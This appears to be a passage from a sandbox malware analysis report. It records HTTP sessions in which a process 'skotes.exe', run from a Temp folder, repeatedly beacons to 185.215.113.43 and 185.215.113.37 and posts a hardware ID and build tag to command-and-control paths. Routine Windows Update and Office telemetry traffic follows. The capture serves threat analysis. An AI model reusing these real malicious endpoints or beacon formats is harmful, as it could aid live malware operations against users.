Oct 7, 2024 03:23:34.504707098 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AEBKKECBGIIJJKECGIJE Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 45 42 4b 4b 45 43 42 47 49 49 4a 4a 4b 45 43 47 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 33 41 44 45 33 35 43 45 33 41 33 33 39 37 33 35 34 34 31 38 37 0d 0a 2d 2d 2d 2d 2d 2d 41 45 42 4b 4b 45 43 42 47 49 49 4a 4a 4b 45 43 47 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 41 45 42 4b 4b 45 43 42 47 49 49 4a 4a 4b 45 43 47 49 4a 45 2d 2d 0d 0a Data Ascii: ------AEBKKECBGIIJJKECGIJEContent-Disposition: form-data; name="hwid"53ADE35CE3A33973544187------AEBKKECBGIIJJKECGIJEContent-Disposition: form-data; name="build"doma------AEBKKECBGIIJJKECGIJE--
Oct 7, 2024 03:23:34.740411043 CEST	210	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:34 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	61132	185.215.113.43	80	7692	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 03:23:34.051592112 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 7, 2024 03:23:34.750972986 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 01:23:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	61145	185.215.113.43	80	7692	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 03:23:36.279851913 CEST	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 42 37 34 42 30 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12B74B05F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Oct 7, 2024 03:23:36.983124971 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 01:23:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	61161	185.215.113.43	80	7692	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 03:23:38.616050005 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 7, 2024 03:23:39.315959930 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 01:23:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	61175	185.215.113.43	80	7692	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 03:23:40.834882975 CEST	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 42 37 34 42 30 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12B74B05F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Oct 7, 2024 03:23:41.568331003 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 01:23:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	61177	185.215.113.43	80	7692	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 03:23:43.240765095 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 7, 2024 03:23:43.940942049 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 01:23:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	61178	185.215.113.43	80	7692	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 03:23:45.538923025 CEST	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 42 37 34 42 30 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12B74B05F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Oct 7, 2024 03:23:46.233464956 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 01:23:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	61179	185.215.113.43	80	7692	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 03:23:47.889134884 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 7, 2024 03:23:48.577404976 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 01:23:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	61180	185.215.113.43	80	7692	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 03:23:50.141510010 CEST	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 42 37 34 42 30 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12B74B05F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Oct 7, 2024 03:23:50.834237099 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 01:23:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	61181	185.215.113.43	80	7692	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 03:23:52.469249964 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 7, 2024 03:23:53.168205023 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 01:23:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	61182	185.215.113.43	80	7692	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 03:23:54.678998947 CEST	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 42 37 34 42 30 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12B74B05F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Oct 7, 2024 03:23:55.810066938 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 01:23:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	61183	185.215.113.43	80	7692	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 03:23:57.447499990 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 7, 2024 03:23:58.163953066 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 01:23:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.4	61184	185.215.113.37	80

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 03:23:58.386262894 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 7, 2024 03:23:59.079961061 CEST	203	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:58 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 7, 2024 03:23:59.081957102 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIDBKKKKKFBGDGDHIDBG Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 33 41 44 45 33 35 43 45 33 41 33 33 39 37 33 35 34 34 31 38 37 0d 0a 2d 2d 2d 2d 2d 2d 47 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 47 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 47 2d 2d 0d 0a Data Ascii: ------GIDBKKKKKFBGDGDHIDBGContent-Disposition: form-data; name="hwid"53ADE35CE3A33973544187------GIDBKKKKKFBGDGDHIDBGContent-Disposition: form-data; name="build"doma------GIDBKKKKKFBGDGDHIDBG--
Oct 7, 2024 03:23:59.307483912 CEST	210	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:59 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	61185	185.215.113.43	80	7692	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 03:23:59.694327116 CEST	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 42 37 34 42 30 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12B74B05F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Oct 7, 2024 03:24:00.397636890 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 01:24:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	61186	185.215.113.43	80	7692	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 03:24:02.008500099 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 7, 2024 03:24:02.726773977 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 01:24:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	61187	185.215.113.43	80	7692	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 03:24:04.242413044 CEST	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 42 37 34 42 30 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12B74B05F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Oct 7, 2024 03:24:05.063016891 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 01:24:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	61188	185.215.113.43	80	7692	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 03:24:06.729348898 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 7, 2024 03:24:07.450479031 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 01:24:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	20.109.210.53	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:22:19 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=7xNGWLB7eDUzHSk&MD=4dvuXYOy HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-10-07 01:22:19 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 5e67fac3-e4c8-4af9-af49-b77bdce863bd MS-RequestId: 501d0857-0548-436e-a685-a173bc8ca63a MS-CV: x4Reh1yWjUO7m1pB.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Mon, 07 Oct 2024 01:22:19 GMT Connection: close Content-Length: 24490
2024-10-07 01:22:19 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-10-07 01:22:19 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.4	49736	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:22:57 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:22:57 UTC	540	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:22:57 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public Last-Modified: Fri, 04 Oct 2024 23:21:50 GMT ETag: "0x8DCE4CB535A72FA" x-ms-request-id: 4dad204e-401e-005b-4bf5-169c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012257Z-1657d5bbd48wd55zet5pcra0cg00000002qg00000000m391 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:22:57 UTC	15844	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
